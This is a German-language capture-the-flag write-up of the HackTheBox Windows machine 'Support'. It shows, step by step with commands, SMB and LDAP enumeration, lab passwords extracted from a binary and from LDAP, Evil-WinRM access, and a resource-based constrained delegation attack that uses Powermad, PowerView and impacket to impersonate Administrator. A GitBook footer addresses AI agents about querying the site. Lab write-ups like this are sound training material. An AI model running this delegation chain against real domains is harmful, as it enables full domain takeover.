> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Support HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Support mit Abdeckung von SMB-Enumeration, EXE-Binäranalyse, Debugging mit DNSpy, Setzen von Breakpoints und Erhalt eines LDAP-Passworts im Klartext (DNSpy), mit prakti

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SMB-Enumeration
* EXE-Binäranalyse
* Debugging mit DNSpy
* Setzen von Breakpoints und Erhalten eines LDAP-Passworts im Klartext (DNSpy)
* Kerberos-Benutzeraufzählung (kerbrute)
* LDAP-Aufzählung (ldapsearch)
* Informationsleck
* Missbrauch der Gruppe der Remoteverwaltungs-Benutzer (Evil-WinRM)
* SharpHound + BloodHound-Aufzählung
* Missbrauch gemeinsam genutzter Support-Konten (GenericAll) (RBCD-Angriff) (Resource Based Constrained Delegation)
* RBCD-Angriff - Erstellen eines Computerobjekts (powermad.ps1)
* RBCD-Angriff - PowerView\.ps1
* RBCD-Angriff - Abrufen des imitierten Diensttickets (getST.py)
* Verwendung des Tickets, um Administratorzugriff zu erhalten (Privilege Escalation)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174fae50ff9d19280d9874d4384bc60e7615923b%2Fimage%20(2136).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe67f060490ae2e3730bf7f519f00867c0322f54%2Fimage%20(2137).png?alt=media" alt=""><figcaption></figcaption></figure>

**Versionsscan von Ports mit Nmap:** Verwendung von Nmap, um die Versionen der Ports zu scannen und Informationen in der Datei "targeted" zu extrahieren:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea6bb3c281ad3febfed224e99c6b943476238d%2Fimage%20(2138).png?alt=media" alt=""><figcaption></figcaption></figure>

## **DC-Aufzählung:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### SMB-Auflistung:

Verwendung von CrackMapExec für die SMB-Aufzählung.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a69b3a4ac591def0ed7eeed43c2dcb4289dd99cf%2Fimage%20(1549).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c79bf8ec817228aa35517cba829e88fb801f7ee4%2Fimage%20(1551).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Kerberos-Liste:**

Verwendung von Kerbrute zur Aufzählung von Benutzern.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79803a0080c53ed86f72cd34f77ba5eb62be416a%2Fimage%20(2139).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Erkundung von Netzwerkfreigaben:**

Suche nach freigegebenen Ordnern im Netzwerk.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8784cf356311d8f2de1ffc8f71d0e2191c225801%2Fimage%20(1552).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2eac4ec7f89313bf3e114881a5d3ab58d09771d%2Fimage%20(1553).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken eine interessante ZIP-Datei namens "UserInfo-exe-zip". Um fortzufahren, verwenden wir den `get` Befehl, um sie auf unsere Maschine herunterzuladen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-146d0f0c14d8474311bf757d6851eba5eaaf6df4%2Fimage%20(1554).png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* Analyse einer Windows-Binärdatei:/*/*

Wir werden eine Windows-Exekutierbare auf einer Maschine mit Windows ausführen.

Dazu müssen wir:

1. ZIP-Archiv übertragen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-336c5666012c2a04d10a99a66d151be66d39e88f%2Fimage%20(1532).png?alt=media" alt=""><figcaption></figcaption></figure>

2. Migration der VPN-Konfiguration
3. `/etc/hosts` Konfiguration

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d437fff4d6ce1f99c82def2a9ae4f2f5c5137e65%2Fimage%20(1533).png?alt=media" alt=""><figcaption></figcaption></figure>

Um die Binärdatei auszuführen und alle gültigen Benutzer zu identifizieren, geben Sie einfach den folgenden Befehl ein

```bash
./UserInfo.exe find -first * -last *
```

#### Diese Binärdatei wird es uns ermöglichen, Benutzer aufzulisten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f14fb65a246282ec34008365edfd123bafc9be9%2Fimage%20(1534).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analyse der mit DNspy heruntergeladenen Windows-Binärdatei.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14eda0b0e6a7e38c03998a0c8c761c2bfaa37f14%2Fimage%20(1535).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Extraktion eines Klartextpassworts:**

Verwendung von DNspy zum Extrahieren eines Klartextpassworts aus einer Windows-Binärdatei.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68c6479e98ea649406632bb6893d719647ad6b78%2Fimage%20(1537).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir werden das Programm ausführen, aber wir werden nur in dem Abschnitt anhalten, in dem der Text klar ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1ca7d885fca23b756d5f4e2c062b57004e48b42%2Fimage%20(1538).png?alt=media" alt=""><figcaption></figcaption></figure>

Hier ist das LDAP-Passwort:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fccbe4d7d63d2f9e8004e29d9950cd9a4f61e5d8%2Fimage%20(1539).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAP-Passwortprüfung:**

Überprüfung des mit CrackMapExec extrahierten Passworts.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b79bfe33e6dc867026014d081cb67adbfc047726%2Fimage%20(1540).png?alt=media" alt=""><figcaption></figcaption></figure>

### Domänenliste:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### Domänenbenutzer

```
enumdomusers
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b0b35dd85e726addffce56832f56c8a40ea29f4%2Fimage%20(1541).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Domänengruppen

```bash
enumdomgroups
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db6b248cef31df6216180ce1148c26c917ef9f2a%2Fimage%20(1543).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Benutzerbeschreibungen:

```bash
querydispinfo
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a6c088afc83bd590c7cee65ec87e9a5bfd6e8d9%2Fimage%20(1544).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Alle gültigen Domänenbenutzer in eine Datei einfügen.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d30a010c21f0ac40cf81716bea9056e3ffe7124%2Fimage%20(1545).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir werden nun prüfen, ob das LDAP-Passwort für einen der folgenden Benutzer wiederverwendet wird:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

Dies funktioniert jedoch nicht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead4b5c47f06a138d5a8b6c2e2a337bc0e929380%2Fimage%20(1546).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAP-Auflistung:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### Verwendung von LDAP Search zur Aufzählung von Informationen.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### Es sind viele Daten verfügbar, jedoch wird durch Anwendung eines Filters auf die Song-Informationen ein Passwort für den Support-Benutzer entdeckt.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d7b358420350e9c73aef45179ffd790a85cffc%2Fimage%20(1547).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Ausnutzung:**

#### Verwenden Sie CrackMapExec, um das mit dem Support-Konto verknüpfte Passwort zu bestätigen.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

Dieser Benutzer ist Teil der Gruppe der Benutzer mit Remoteverwaltung, wodurch wir uns über Windows Remote Management (WinRM) verbinden können.

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Verwendung von Evil-WinRM:**

Verbinden Sie sich über Evil-WinRM mit dem Zielsystem unter Verwendung der identifizierten Informationen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13620b0ff292719414d2263e0b551379c1e0f175%2Fimage%20(1548).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

### **Überprüfung der aktuellen Berechtigungen:**<br>

Unter Verwendung der `whoami /priv` Befehl zur Überprüfung der Benutzerberechtigungen, ohne Erfolg.<br>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb9161fbcd02ca5c5d04afd0202c3f716ec9e961%2Fimage%20(2140).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Analyse der Mitgliedsgruppen:**

Unter Verwendung der `net user support` Befehl zur Überprüfung der Gruppen, denen der Benutzer angehört.

Entdeckung einer offenbar seltenen Gruppe, "shared support accounts".

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87693bc598ce55f2c0352ae7ab5c3e2a08a0c2d%2Fimage%20(2141).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Verwendung von BloodHound zur Berechtigungsanalyse:**

#### Verwendung des BloodHound-Tools zur Kartierung von Zugriffsbeziehungen.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24a8ad5d49ece7db7f5c5483d53c6abca7ddfebf%2Fimage%20(2142).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55d4466bc771276edb7d50b2467948e3509116ed%2Fimage%20(2143).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **SharpHound-Ausführung zur weiteren Analyse:**

Verwendung von SharpHound, einem ergänzenden Tool zu BloodHound, um zusätzliche Daten zu Zugriffsbeziehungen zu sammeln.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec510f08bec802ae32a7f8aeb16a9c8ba3ff1fce%2Fimage%20(2144).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5197fab18924198b6b334a5841c781a08ac4b8%2Fimage%20(2145).png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle: Resource Based Constrained Delegation Attack:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Identifizierung der Schwachstelle: Resource Based Constrained Delegation Attack:**

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965df08c9717c66c273be88bab4b616f67236503%2Fimage%20(2146).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Bereitstellung des Powermad-Skripts zum Erstellen eines Maschinenkontos.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### Verwendung von PowerView zur Überprüfung der Erstellung des Maschinenkontos.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d14609ed598f86e2db250120bcaf45dc835c0b1%2Fimage%20(2147).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Definition von Berechtigungen für das Maschinenkonto mittels PowerShell-Befehlen.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### Mit diesem Befehl prüfen wir, ob der gesamte Vorgang 'Get-DomainComputer dc' mit den Eigenschaften 'msds-allowedtoactonbehalfofather identity' funktioniert.'

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd020e3c2a82e956581c11243297b9e5bb444a87%2Fimage%20(2148).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Ausnutzung der Schwachstelle**

#### Verwendung des Impacket-Tools zum Ausführen des `getST` Befehls, um ein TGT-Ticket zu erhalten, das den Benutzer Administrator imitiert.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbf90a346d8f28174a6cc94bb8d992fb55c5e58%2Fimage%20(2149).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Konfigurieren Sie die Kerberos-Umgebung des Administrators durch Exportieren von `KRB5CCNAME`, dann verbinden Sie sich mit dem Zielsystem mithilfe von Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24e7afa4733c9a41aec2ac7a31eedcf56c01f322%2Fimage%20(2150).png?alt=media" alt=""><figcaption></figcaption></figure>

### Endgültige Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8573bbe1a1994c359f2b51a3b87664f13a19dbd3%2Fimage%20(2151).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5f7e7f7442fe5b14557f36883610d07f0f1c951%2Fimage%20(1414).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
